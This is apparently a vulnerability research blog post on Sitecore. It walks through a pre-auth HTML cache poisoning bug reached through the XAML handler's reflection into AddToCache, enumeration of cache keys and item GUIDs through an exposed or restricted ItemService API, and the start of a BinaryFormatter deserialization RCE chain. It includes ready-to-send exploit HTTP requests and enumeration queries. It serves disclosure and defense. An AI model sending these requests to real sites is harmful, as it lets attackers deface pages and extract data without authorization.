<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
We can reach this handler pre-auth with a simple HTTP request like:
GET /-/xaml/watever
So what’s actually happening here?
The XamlPageHandlerFactory is designed to internally fetch another handler responsible for page generation. This resolution happens through the XamlPageHandlerFactory.GetHandler method:
public IHttpHandler GetHandler(HttpContext context, string requestType, string url, string pathTranslated)
{
Assert.ArgumentNotNull(context, "context");
Assert.ArgumentNotNull(requestType, "requestType");
Assert.ArgumentNotNull(url, "url");
Assert.ArgumentNotNull(pathTranslated, "pathTranslated");
int indexOfFirstMatchToken = url.GetIndexOfFirstMatchToken(new List<string>
{
"~/xaml/",
"-/xaml/"
}, StringComparison.OrdinalIgnoreCase);
if (indexOfFirstMatchToken >= 0)
{
return XamlPageHandlerFactory.GetXamlPageHandler(context, StringUtil.Left(url, indexOfFirstMatchToken)); // [1]
}
indexOfFirstMatchToken = context.Request.PathInfo.GetIndexOfFirstMatchToken(new List<string>
{
"~/xaml/",
"-/xaml/"
}, StringComparison.OrdinalIgnoreCase);
if (indexOfFirstMatchToken >= 0)
{
return XamlPageHandlerFactory.GetXamlPageHandler(context, StringUtil.Left(context.Request.PathInfo, indexOfFirstMatchToken));
}
return null;
}
At [1], the XamlPageHandlerFactory.GetXamlPageHandler method is invoked. Its job is simple on paper: return the handler object that implements the IHttpHandler interface.
There are a few different routines that can resolve which handler gets returned, but the one that matters most for our purposes is the path that leverages .xaml.xml files (that’s almost certainly why the word Xaml shows up in the handler’s name).
These .xaml.xml files are scattered across a Sitecore installation — for example, in locations like sitecore/shell/Applications/Xaml.
Let’s take a look at a fragment of one of these XAML definition files — for example, WebControl.xaml.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<xamlControls
xmlns:x="<http://www.sitecore.net/xaml>"
xmlns:ajax="<http://www.sitecore.net/ajax>"
xmlns:rest="<http://www.sitecore.net/rest>"
xmlns:r="<http://www.sitecore.net/renderings>"
xmlns:xmlcontrol="<http://www.sitecore.net/xmlcontrols>"
xmlns:p="<http://schemas.sitecore.net/Visual-Studio-Intellisense>"
xmlns:asp="<http://www.sitecore.net/microsoft/webcontrols>"
xmlns:html="<http://www.sitecore.net/microsoft/htmlcontrols>"
xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>">
<Sitecore.Shell.Xaml.WebControl>
<Sitecore.Controls.HtmlPage runat="server">
<AjaxScriptManager runat="server" />
<ContinuationManager runat="server" />
<asp:Wizard ID="Wizard1" runat="server" Width="322px" ActiveStepIndex="0" OnActiveStepChanged="GetFavoriteNumerOnActiveStepIndex"
BorderColor="#B5C7DE" BorderWidth="1px" Font-Size="8pt"
CellPadding="5">
<NavigationButtonStyle BackColor="White" BorderColor="red" BorderStyle="Solid" BorderWidth="1px" Font-Size="8pt" ForeColor="#284E98" />
<SideBarStyle BackColor="blue" Font-Size="8pt" VerticalAlign="Top" />
<StepStyle ForeColor="#333333" />
<SideBarButtonStyle Font-Size="8pt" ForeColor="White" />
<HeaderStyle BackColor="green" BorderColor="#EFF3FB" BorderStyle="Solid" BorderWidth="2px" Font-Bold="True" Font-Size="8pt" ForeColor="White" HorizontalAlign="Center" />
<WizardSteps>
<asp:WizardStep ID="WizardStep1" runat="server" Title="Step 1" AllowReturn="False">
Wizard Step 1<br />
<br />
Favorite Number:
<asp:DropDownList ID="DropDownList1" runat="server">
<asp:ListItem>1</asp:ListItem>
<asp:ListItem>2</asp:ListItem>
<asp:ListItem>3</asp:ListItem>
<!-- removed for readability -->
This file defines a full control structure, with nested controls and components. You can reach this handler directly by calling the class defined in the first tag:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
From there, Sitecore generates the entire page, initializes every component described in the XAML, and wires up all the flows and rules in the .NET code.
That means you can dig into these XAML definitions and review the controls to see if anything interesting falls out.
Which is exactly how we ended up at this line:
<AjaxScriptManager runat="server" />
It includes the Sitecore.Web.UI.WebControls.AjaxScriptManager control (which extends .NET WebControl). That means some of its methods - like OnPreRender - will fire automatically when the page initializes.
From here, we follow the thread into the code flow. Exciting? Yes. Tiring? Also yes. But this is where things start to get interesting:
protected override void OnPreRender(EventArgs e)
{
Assert.ArgumentNotNull(e, "e");
base.OnPreRender(e);
if (!this.IsEvent)
{
this.PageScriptManager.OnPreRender();
return;
}
System.Web.UI.Page page = this.Page;
if (page == null)
{
return;
}
page.SetRenderMethodDelegate(new RenderMethod(this.RenderPage));
this.EnableOutput();
this.EnsureChildControls();
string clientId = page.Request.Form["__SOURCE"]; // [1]
string text = page.Request.Form["__PARAMETERS"]; // [2]
if (string.IsNullOrEmpty(text))
{
string systemFormValue = AjaxScriptManager.GetSystemFormValue(page, "__EVENTTYPE");
if (string.IsNullOrEmpty(systemFormValue))
{
return;
}
text = AjaxScriptManager.GetLegacyEvent(page, systemFormValue);
}
if (ContinuationManager.Current == null)
{
this.Dispatch(clientId, text);
return;
}
AjaxScriptManager.DispatchContinuation(clientId, text); // [3]
}
At [1], the code pulls the value of __SOURCE straight from the HTML body.
At [2], it does the same for __PARAMETERS.
At [3], execution continues through the DispachContinuation method - which, in turn, takes us to the Dispatch method. That’s where the real story begins.
internal object Dispatch(string clientId, string parameters)
{
//... removed for readability
if (!string.IsNullOrEmpty(clientId))
{
control = page.FindControl(clientId); // [1]
if (control == null)
{
control = AjaxScriptManager.FindClientControl(page, clientId); // [2]
}
}
if (control == null)
{
control = this.MainControl;
}
Assert.IsNotNull(control, "Control \\"{0}\\" not found.", clientId);
bool flag = AjaxScriptManager.CommandPattern.IsMatch(parameters);
if (flag)
{
this.DispatchCommand(control, parameters);
return null;
}
return AjaxScriptManager.DispatchMethod(control, parameters); // [3]
}
At [1] and [2], the code attempts to retrieve a control based on the __SOURCE parameter. In practice, this means you can point it to any control defined in the XAML.
At [3], the retrieved control and our supplied __PARAMETERS body parameter are passed into the DispatchMethod. This is where things get interesting - the critical method that underpins this vulnerability.
private static object DispatchMethod(System.Web.UI.Control control, string parameters)
{
Assert.ArgumentNotNull(control, "control");
Assert.ArgumentNotNullOrEmpty(parameters, "parameters");
AjaxMethodEventArgs ajaxMethodEventArgs = AjaxMethodEventArgs.Parse(parameters); // [1]
Assert.IsNotNull(ajaxMethodEventArgs, typeof(AjaxMethodEventArgs), "Parameters \\"{0}\\" could not be parsed.", parameters);
ajaxMethodEventArgs.TargetControl = control;
List<IIsAjaxEventHandler> handlers = AjaxScriptManager.GetHandlers(control); // [2]
for (int i = handlers.Count - 1; i >= 0; i--)
{
handlers[i].PreviewMethodEvent(ajaxMethodEventArgs);
if (ajaxMethodEventArgs.Handled)
{
return ajaxMethodEventArgs.ReturnValue;
}
}
for (int j = 0; j < handlers.Count; j++)
{
handlers[j].HandleMethodEvent(ajaxMethodEventArgs); // [3]
if (ajaxMethodEventArgs.Handled)
{
return ajaxMethodEventArgs.ReturnValue;
}
}
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, ajaxMethodEventArgs)) // [4]
{
return ajaxMethodEventArgs.ReturnValue;
}
return null;
}
At [1], the parameters string is parsed into AjaxMethodEventArgs objects. These objects contain two key properties: the method name and the method arguments. It’s worth noting that arguments can only be retrieved in two forms:
- An array of strings
- An empty array
At [2], the code retrieves a list of objects implementing the IIsAjaxEventHandler interface, based on the control we selected.
private static List<IIsAjaxEventHandler> GetHandlers(System.Web.UI.Control control)
{
Assert.ArgumentNotNull(control, "control");
List<IIsAjaxEventHandler> list = new List<IIsAjaxEventHandler>();
while (control != null)
{
IIsAjaxEventHandler isAjaxEventHandler = control as IIsAjaxEventHandler;
if (isAjaxEventHandler != null)
{
list.Add(isAjaxEventHandler);
}
control = control.Parent;
}
return list;
}
It simply takes our control and its parent controls, then attempts a cast.
At [3], the code iterates over the retrieved handlers and calls their HandleMethodEvent.
Let’s pause here. The IIsAjaxEventHandler.HandleMethodEvent method is only implemented in four Sitecore classes, and realistically only two are of interest. By “interesting,” we mean classes that we can supply via the XAML handler and that give us at least some hope of being abusable:
Sitecore.Web.UI.XamlShar.Xaml.XamlPageSitecore.Web.UI.XamlSharp.Xaml.XamlControl
Their implementations of HandleMethodEvent are almost identical:
void IIsAjaxEventHandler.HandleMethodEvent(AjaxMethodEventArgs e)
{
Assert.ArgumentNotNull(e, "e");
this.ExecuteAjaxMethod(e);
}
protected virtual bool ExecuteAjaxMethod(AjaxMethodEventArgs e)
{
Assert.ArgumentNotNull(e, "e");
MethodInfo methodFiltered = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true); // [1]
if (methodFiltered != null)
{
methodFiltered.Invoke(this, e.Parameters); // [2]
return true;
}
return false;
}
At [1], the method name and arguments from the AjaxMethodEventArgs are passed into reflection to resolve which method to call.
At [2], the selected method is then invoked with our arguments.
So yes - we’ve landed in a reflection mechanism that lets us call methods dynamically. And we already know we can supply string arguments. In other words, if we can find any method that accepts strings, we might have a straightforward path to RCE.
Before we get too excited, there’s a catch: the method isn’t just any method. It’s resolved through ReflectionUtil.GetMethodFiltered, so we need to understand how that filtering works.
One more detail worth noting: the first argument being passed is this. Which means the current object instance will be handed into the call - and that shapes exactly which methods we can realistically reach.
public static MethodInfo GetMethodFiltered<T>(object obj, string methodName, object[] parameters, bool throwIfFiltered) where T : Attribute
{
MethodInfo method = ReflectionUtil.GetMethod(obj, methodName, parameters); // [1]
if (method == null)
{
return null;
}
return ReflectionUtil.Filter.Filter<T>(method); // [2]
}
At [1], the method gets resolved.
Under the hood, this happens through fairly standard .NET reflection: the input contains both a method name and its arguments. That’s typical reflection behavior - look up a method by name, check its argument types, and call it.
Here’s the twist: the current object is also passed in as an argument. In practice, this object will always be either XamlPage or XamlControl. That means we can only ever resolve methods which:
- Are implemented in
XamlPage,XamlControl, or one of their subclasses. - Accept only string arguments, or none at all.
We started reviewing both classes. Nothing exciting there. But then we remembered - these classes also extend regular .NET classes. For example, XamlControl extends System.Web.UI.WebControls.WebControl. That gave us hope. Maybe we could reflectively call interesting methods from WebControl.
That hope was short-lived. At [2], the Filter<T> method steps in. It enforces internal allowlists and denylists over the methods returned at [1]. The ultimate rule is simple: only methods whose full name contains Sitecore. are allowed. That kills our chance to call into .NET’s WebControl - since, unsurprisingly, its full name doesn’t contain “Sitecore”.
So, to recap:
- Yes, there’s reflection.
- But it’s restricted to Sitecore methods only (and two Sitecore classes).
- Sadly, nothing abusable here.
Still, we chased this rabbit hole with excitement - the attack surface looked incredibly promising. That’s research life: get your hopes up, then watch them get filtered out.
But before giving up, we spotted one more detail worth digging into. At [4] in DispatchMethod, there’s another branch of logic that can be easy to miss in the shadow of the reflection handling:
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, ajaxMethodEventArgs)) // [4]
If the control can be cast to XmlControl, execution takes a different path. It’s handed directly into DispatchXmlControl, along with our ajaxMethodEventArgs.
But once you dig into DispatchXmlControl, you realize it behaves almost exactly like the reflection flow we just walked through.
Same mechanics, same idea – just a slightly different wrapper.
private static bool DispatchXmlControl(System.Web.UI.Control control, AjaxMethodEventArgs eventArgs)
{
Assert.ArgumentNotNull(control, "control");
Assert.ArgumentNotNull(eventArgs, "eventArgs");
MethodInfo methodFiltered = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(control, eventArgs.Method, eventArgs.Parameters, true);
if (methodFiltered == null)
{
return false;
}
eventArgs.ReturnValue = methodFiltered.Invoke(control, eventArgs.Parameters);
eventArgs.Handled = true;
return true;
}
There’s one major difference here though. Our control is no longer XamlPage or XamlControl in type - it’s an XmlControl type. That technically extends the attack surface, since we already knew the first two classes didn’t offer much in terms of abusable methods.
So what about XmlControl? Could this be where things get exciting?
Sadly, no. There’s nothing particularly juicy hiding inside. But for completeness (and to avoid the sinking feeling of missing something obvious later), let’s take a quick look at its definition anyway:
namespace Sitecore.Web.UI.XmlControls
{
public class XmlControl : WebControl, IHasPlaceholders
{
//...
}
}
There’s a small trap here. At first glance, you might think XmlControl extends the familiar .NET System.Web.UI.WebControl. That wouldn’t be a big deal, because implemented reflections deny the non-Sitecore classes.
But no - XmlControl actually extends an abstract class, Sitecore.Web.UI.WebControl. This subtle difference matters because it means it slips through the whitelist filter we saw earlier. In other words, this class,= and anything that extends it, can get past the “only Sitecore.*” rule. That puts it back on our “potentially abusable” list.
Now, the obvious question: can we actually deliver any control that extends XmlControl? Without that, this whole reflection path is just an academic curiosity.
After a bit of digging, we found the answer - and it’s not a long list. In fact, we found only one handler with a class extending XmlControl:
HtmlPage.xaml.xml
This is our entry point. If we can instantiate this control through a crafted XAML handler, we can hit the reflection logic again - this time with a new type (XmlControl) that passes the whitelist check. And that finally sets us up for the “magic method” we’d been chasing all along.
<?xml version="1.0" encoding="utf-8" ?>
<xamlControls
xmlns:html="<http://www.sitecore.net/htmlcontrols>"
xmlns:x="<http://www.sitecore.net/xaml>"
xmlns:xmlcontrol="<http://www.sitecore.net/xmlcontrols>"> <!-- [1] -->
<Sitecore.Controls.HtmlPage><!DOCTYPE html>
<x:param name="Title" value="Sitecore" />
<x:param name="Background" />
<x:param name="Overflow" />
<html>
<html:Head runat="server">
<html:Title runat="server">
<Literal Text="{Title}" runat="server"></Literal>
</html:Title>
<meta name="GENERATOR" content="Sitecore" />
<meta http-equiv="imagetoolbar" content="no" />
<meta http-equiv="imagetoolbar" content="false" />
<Placeholder runat="server" key="Stylesheets"/>
<Placeholder runat="server" key="Scripts"/>
</html:Head>
<HtmlBody runat="server">
<x:styleattribute runat="server" name="overflow" value="{Overflow}" />
<html:Form runat="server">
<x:styleattribute runat="server" name="background" value="{Background}" />
<xmlcontrol:GlobalHeader runat="server"/> <!-- [2] -->
<Placeholder runat="server"/>
</html:Form>
</HtmlBody>
</html>
</Sitecore.Controls.HtmlPage>
</xamlControls>
At [1], we’ve got the xmlcontrol namespace defined.
At [2], you can see the xmlcontrol:GlobalHeader in action.
So far, so good. But something’s missing: you’ll notice the AjaxScriptManager isn’t referenced anywhere in this XAML. And without it, we can’t actually trigger the reflection logic we’ve been chasing.
Fortunately, we didn’t have to wait long for a breakthrough. We quickly realized that the HtmlPage control shows up in other handlers too. One of the most interesting?
Sitecore.Shell.Xaml.WebControl
This handler pulls in both the HtmlPage and the AjaxScriptManager. That means, in this context, the missing piece snaps into place – and our path to reflection (via XmlControl) is wide open again.
Let’s take a look:
<!-- removed for readability -->
<Sitecore.Shell.Xaml.WebControl>
<Sitecore.Controls.HtmlPage runat="server">
<AjaxScriptManager runat="server" />
<!-- removed for readability -->
We have HtmlPage referenced in Sitecore.Shell.Xaml.WebControl, and that in turn pulls in the xmlcontrol:GlobalHeader control.
So to sum up, if we call this endpoint:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
We have the AjaxScriptManager used, thus the code responsible for the reflection will be triggered, and xmlcontrol:GlobalHeader will be on the list of available controls. Great!
Which means it’s finally time to reveal the “secret weapon” we found hiding inside the Sitecore.Web.UI.WebControl class: a surprisingly powerful method that changes the game.
It’s the Sitecore.Web.UI.WebControl.AddToCache(string, string) method:
protected virtual void AddToCache(string cacheKey, string html)
{
HtmlCache htmlCache = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (htmlCache != null)
{
htmlCache.SetHtml(cacheKey, html, this._cacheTimeout);
}
}
You might have expected something flashier. But then again, the title of this blog literally promised HTML cache poisoning - so maybe this is exactly what we deserved.
Still, there’s a certain beauty in just how simple (and unsafe) this reflection really is. With a single call to AddToCache, we can hand it two things:
- The name of the cache key
- Whatever HTML content we want stored under that key
Internally, this just wraps HtmlCache.SetHtml, which happily overwrites existing entries or adds new ones. That’s it. Clean, direct, and very powerful.
And the best part? This works pre-auth. If there’s any HTML cached in Sitecore, we can replace it with whatever we want.
Reaching AddToCache
That long description can feel like a maze if you’re not buried in the codebase or stepping through the debugger. So let’s take a breather from the internals and look at something a little more tangible: a sample HTTP request:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: labcm.dev.local
Content-Length: 117
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("watever","<html><body>watchTowr</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Let’s break this request down into its two important parameters:
**__PARAMETERS**- here, the method nameAddToCacheis specified. Inside the parentheses we pass two string arguments: the first is thecacheKey, the second is thehtmlvalue to store.**__SOURCE**- this identifies the control on which the method from__PARAMETERSshould be executed.
This control identifier isn’t exactly intuitive: ctl00_ctl00_ctl05_ctl03 represents the tree of controls defined in the XAML, ultimately pointing us to the GlobalHeader control (which extends XmlControl). This identifier should be stable across Sitecore deployments since it’s derived directly from the static XAML handler definitions.
To double-check, you can step into AjaxScriptManager.FindClientControl and verify that the __SOURCE value really does resolve to the GlobalHeader.
It does indeed resolve correctly - __SOURCE gives us the GlobalHeader control (the control3 object). Perfect.
From here, we can keep stepping through the debugger until execution flows straight into DispatchXmlControl. That’s where things start to get properly interesting.
We’ve finally hit the reflection stage, and methodFiltered is set to the AddToCache(string, string) method – reflection worked.
At this point, there’s no detour left: execution lands exactly where we wanted it, with a direct call to AddToCache.
This is super awesome - but we’re not ready to celebrate yet. We still don’t know how Sitecore actually generates the cacheKey, and without that piece of the puzzle we can’t reliably overwrite legitimate cached HTML.
Cache Key Creation
After a quick investigation, we realized that nothing in Sitecore is cacheable by default. You have to explicitly opt in for HTML caching, but it turns out that’s extremely common.
Performance guides, blog posts, and Sitecore’s own docs all recommend enabling it to speed up your site. In fact, Sitecore actively encourages it in multiple places, like here and here:
You use the HTML cache to improve the performance of websites.
You can get significant performance gains from configuring output caching for Layout Service renderings...
Enabling caching is as simple as flipping a setting for Sitecore items – just like in the screenshot below.
If you tick the Cacheable box, caching is enabled for that specific Sitecore item. There are a handful of other options too - like Vary By Login, Vary By Query String, etc.
These selections aren’t just cosmetic. They directly influence how the cache key is generated inside Sitecore.Web.UI.WebControl.GetCacheKey. In practice, the cache key is built from a mix of the item name plus whatever “vary by” conditions you’ve configured.
So the shape of the cache key - and whether you can reliably overwrite a given entry - depends entirely on how caching has been configured for that item.
public virtual string GetCacheKey()
{
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()) // [1]
{
string text = this.CachingID; // [2]
if (text.Length == 0)
{
text = this.CacheKey;
}
if (text.Length > 0)
{
string text2 = text + "_#lang:" + Language.Current.Name.ToUpperInvariant(); // [3]
if (this.VaryByData) // [4]
{
string str = this.ResolveDataKeyPart();
text2 += str;
}
if (this.VaryByDevice) // [5]
{
text2 = text2 + "_#dev:" + Sitecore.Context.GetDeviceName();
}
if (this.VaryByLogin) // [6]
{
text2 = text2 + "_#login:" + Sitecore.Context.IsLoggedIn.ToString();
}
if (this.VaryByUser) // [7]
{
text2 = text2 + "_#user:" + Sitecore.Context.GetUserName();
}
if (this.VaryByParm) // [8]
{
text2 = text2 + "_#parm:" + this.Parameters;
}
if (this.VaryByQueryString && site != null) // [9]
{
SiteRequest request = site.Request;
if (request != null)
{
text2 = text2 + "_#qs:" + MainUtil.ConvertToString(request.QueryString, "=", "&");
}
}
if (this.ClearOnIndexUpdate)
{
text2 += "_#index";
}
return text2;
}
}
return string.Empty;
}
At [1], the code first checks whether caching is enabled for the item. If not, it just returns an empty string and nothing gets stored.
At [2], it builds the base of the cache key from the item name. This is usually derived from either the item’s path or its URL. For example, an item named Sample Sublayout.ascx under Sitecore’s internal /layouts path would start with:
/layouts/Sample Sublayout.ascx
At [3], the language is appended. So for English, the key becomes:
/layouts/Sample Sublayout.ascx_#lang:EN
From there, additional segments can be bolted on depending on the item’s caching configuration. These come from the VaryBy... options ([4] to [9]), and they add complexity to the cache key. Some are trivial to predict (like True or False), while others are essentially impossible to guess (like GUIDs).
Put simply - whether you can target and overwrite a specific cache entry depends entirely on which “Vary By” options are enabled for that item.
Simple Proof of Concept
With a few sample cache keys in hand, you can already start abusing this behavior. Here’s what the original page looks like before poisoning…
Now, let’s send the HTTP cache poisoning request:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: labcm.dev.local
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang%3aEN_%23login%3aFalse_%23qs%3a_%23index","<html>removedforreadability</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
And voila, we’ve annoyed yet another website:
We now have final proof that our HTML cache poisoning vulnerability works as intended. Time to celebrate with the meme (what else?):
In the example above, an attacker could generate a list of likely cache keys - maybe hundreds - overwrite them one by one, and check which ones affect the rendered page.
That already looks promising, but it wasn’t enough for us. We wanted something cleaner: a way to enumerate cache keys directly, so we could compromise targets instantly and reliably. After a perfectly normal amount of coffee, questionable life choices, and staring at decompiled Sitecore code, we eventually found some ways to do exactly that.
Enumerating Cache Keys with ItemService API
We already know that we can poison Sitecore HTML cache keys - and yes, that gives us the power to quietly sneak watchTowr logos into various websites. As much as we love that idea, the actual exploitation feels… clunky. We can poison the cache, but we don’t know the cache keys. On some pages, brute-forcing them might work (cumbersome), on others it won’t (frustrating). Sigh.
So we set ourselves a new goal: enumerate the cache keys, and move to fully automated pwnage (sorry, we mean “automated watchTowr logo deployment”).
That search led us to something called the ItemService API. By default, it only binds to loopback and blocks remote requests with a 403. But reality is never that neat - it’s not uncommon to see:
- ItemService exposed directly to the internet
- Anonymous access enabled (yes, really)
Exposing it is as simple as tweaking a config file, and the vendor even documents how to do it here. We’ve personally seen it hanging out on the public internet, and you’ll find community threads recommending it too.
The result? Anyone can enumerate your Sitecore items, no authentication required. In theory, you’d only expose this in very narrow scenarios, like multiple Sitecore instances talking to each other. In practice? People like to live dangerously.
If you want to check whether your environment has made this “creative configuration decision,” here’s the quick test: send the following HTTP request…
GET /sitecore/api/ssc/item HTTP/2
Host: labcm.dev.local
If you see a 403 Forbidden response, that’s actually “good” news - it means the ItemService API isn’t exposed to the internet (or at least requires authentication).
If it’s fully exposed though, you’ll get a 404 Not Found response instead - which is exactly what we want:
HTTP/2 404 Not Found
...
The item "" was not found.
It may have been deleted by another user.
When the API is exposed, you can use the search endpoint to query any item you want. In our case, we’re especially interested in items that can be cached. For example, here’s a request:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 HTTP/2
Host: labcm.dev.local
We’re specifically interested in Sitecore layouts. In the response below, you can look for items with the Cacheable key set to 1 - which means caching is enabled for them:
{
"ItemID":"885b8314-7d8c-4cbb-8000-01421ea8f406",
"ItemName":"Sample Sublayout",
"ItemPath":"/sitecore/layout/Sublayouts/Sample Sublayout",
"ParentID":"eb443c0b-f923-409e-85f3-e7893c8c30c2",
"TemplateID":"0a98e368-cdb9-4e1e-927c-8e0c24a003fb",
"TemplateName":"Sublayout",
"Path":"/layouts/Sample Sublayout.ascx",
"...":"...",
**"Cacheable":"1",**
"CacheClearingBehavior":"",
"ClearOnIndexUpdate":"1",
"VaryByData":"",
"VaryByDevice":"1",
"VaryByLogin":"1",
"VaryByParm":"",
"VaryByQueryString":"",
"VaryByUser":"",
"restofkeys":"removedforreadability"
}
You can see that the API reveals everything an attacker would want:
- The full item path (used in the cache key), for example:
/layouts/Sample Sublayout.ascx - Whether caching is enabled for that item (
Cacheablekey). - Which cache settings are turned on, like
VarByDataand others.
With this information, the attacker can already predict the structure of the cache key:
/layouts/Sample Sublayout.ascx_#lang:EN_#dev:{DEVICENAME}_#login:{True|False}_#index
The only missing piece is the actual device names. They could guess the default Sitecore ones, but why guess when you can just enumerate all devices directly? For that, they can send a simple HTTP request:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 HTTP/2
Host: labcm.dev.local
And just like that, the response hands over every available device name. One of these values will slot neatly into the cache key - no guesswork required.
"Results":[
{"ItemName":"Mobile"},
{"ItemName":"JSON"},
{"ItemName":"Default"},
{"ItemName":"Feed"},
{"ItemName":"Print"},
{"ItemName":"Extra Extra Large"},
{"ItemName":"Extra Small"},
{"ItemName":"Medium"},
...
]
The same trick works for all cache key settings. If someone has enabled VaryByData, you can just lean on the API again to enumerate GUIDs of data sources and churn out a neat set of potential cache keys.
Put simply: if the ItemService API is exposed, our HTML cache poisoning stops being “cumbersome exploitation” and turns into “trivial button-clicking.” Why? Because we can enumerate every cacheable item and all the parameters that make up its cache keys. Depending on the environment, that gives you anywhere from a few dozen to a few thousand cache keys to target.
So the exploitation flow looks like this:
- Attacker enumerates all cacheable items.
- Attacker enumerates cache settings for those items.
- Attacker enumerates related items (like
devices) used in cache keys. - Attacker builds a complete list of valid cache keys.
- Attacker poisons those cache keys.
(Bonus) WT-2025-0027 (CVE-2025-53694): Enumerating Items with Restricted User
On some rare occasions, you may come across an ItemService API that runs under a restricted anonymous user. How do you spot this? The search returns no results, even when you query for default Sitecore items that should always be present.
A good example is the well-known ServicesAPI user, who has no access to most items (and we already know its password). If the API is configured so that anonymous requests impersonate ServicesAPI, a basic search like this:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=&page=0&pagesize=100&includeStandardTemplateFields=true HTTP/2
Host: labcm.dev.local
We will receive a following response:
{
...
"TotalCount":42,
"TotalPage":1,
"Links":[],
"Results":[]
}
The Results array comes back empty, meaning our items were filtered out. That makes sense - the user we’re impersonating isn’t supposed to see them.
But wait… something doesn’t add up.
Alright, something is very wrong here. The API claims there are 42 results, yet the Results array is empty.
Code doesn’t lie, so we dug in.
public ItemSearchResults Search(string term, string databaseName, string language, string sorting, int page, int pageSize, string facet)
{
//...
using (IProviderSearchContext providerSearchContext = searchIndexFor.CreateSearchContext(SearchSecurityOptions.Default))
{
//...
SearchResults<FullTextSearchResultItem> results = this._queryableOperations.GetResults(source); // [1]
source = this._queryableOperations.Skip(source, pageSize * page);
source = this._queryableOperations.Take(source, pageSize);
SearchResults<FullTextSearchResultItem> results2 = this._queryableOperations.GetResults(source); // [2]
Item[] items = (from i in this._queryableOperations.HitsSelect(results2, (SearchHit<FullTextSearchResultItem> x) => x.Document.GetItem()) // [3]
where i != null
select i).ToArray<Item>();
int num = this._queryableOperations.HitsCount(results); // [4]
result = new ItemSearchResults
{
TotalCount = num,
NumberOfPages = ItemSearch.CalculateNumberOfPages(pageSize, num),
Items = items,
Facets = this._queryableOperations.Facets(results)
};
}
return result;
}
At [1] and [2], an Apache Solr query is performed and the results are retrieved.
At [3], a crucial step is performed. The code will iterate over retrieved items, and it will try to validate if our user (here, ServicesAPI) has access to this item. If yes, it will add it to the items array. If not, it will skip the item and items will not be extended.
At [4], it calculates the number of retrieved items.
This explains the strange behavior we’re seeing, where the result count is accurate but there are no results. Results are being filtered, but their count is calculated on the pre-filtered array.
That’s great, but it’s a bug - how can we abuse this behavior?
Well, if we can leverage our input into the Solr queries - and the reality they accept * and ? - we can likely enumerate items in a similar vein to a blind SQLI?
For instance, we can firstly try to enumerate GUID for the devices with this approach to find GUIDs that start with a:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
Interesting:
"TotalCount":3
So, we can continue like so, finding GUID's that start with aa:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:aa*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
Giving us the total count of:
"TotalCount":2
As you can tell, we can exponentially continue this process to brute-force out valid GUIDs, until we get to the following final result:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
To demonstrate this, we updated our PoC to automatically extract the key of the 1st device:
HTML Cache Poisoning Summary
So, we have now learnt how to poison any HTML cache key stored in the Sitecore cache - but, how painful it is depends on the configuration:
- Extremely easy:
ItemServiceAPI is exposed. - Easy to middling:
ItemServiceis not exposed, but cache settings are tame enough to guess or brute-force keys. - Borderline impossible:
ItemServiceis not exposed, and cache keys include GUIDs or other unknown bits.
WT-2025-0019 (CVE-2025-53691): Post-Auth Deserialization RCE
We wouldn’t be ourselves if we didn’t try to chain this shiny cache poisoning bug with some good old-fashioned RCE. So we kicked off a post-auth RCE hunting session.
One of the easiest starting points when reviewing a Java or C# codebase is to hunt for deserialization sinks, then see if they’re reachable. Our search for BinaryFormatter usages in Sitecore turned up something juicy: the Sitecore.Convert.Base64ToObject wrapper.
What does it do? Exactly what it says on the tin - it takes a base64-encoded string and turns it back into an object, courtesy of an unrestricted BinaryFormatter call. No binders, no checks, no guardrails.
public static object Base64ToObject(string data)
{
Error.AssertString(data, "data", true);
if (data.Length > 0)
{
try
{
byte[] buffer = Convert.FromBase64String(data); // [1]
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream serializationStream = new MemoryStream(buffer);
return binaryFormatter.Deserialize(serializationStream); // [2]
}
catch (Exception exception)
{
Log.Error("Error converting data to base64.", exception, typeof(Convert));
}
}
return null;
}
If we could ever reach this method with our own input, it’d be an RCE worthy of an SSLVPN.
The problem? This method is not widely used in Sitecore, but we have spotted a very intriguing code path:
Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls.Process(ConvertToRuntimeHtmlArgs)
Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls.Convert(HtmlDocument)
Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls.Convert(HtmlDocument, HtmlNode, string, SafeDictionary<string,int>)
Sitecore.Convert.Base64ToObject(string)
If you followed our previous Sitecore post, the first method probably rings a bell.
Process methods are sprinkled all over Sitecore pipelines — those familiar chains of methods the platform loves to execute. A quick dig through the Sitecore config shows that one pipeline in particular wires in the Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls processor:
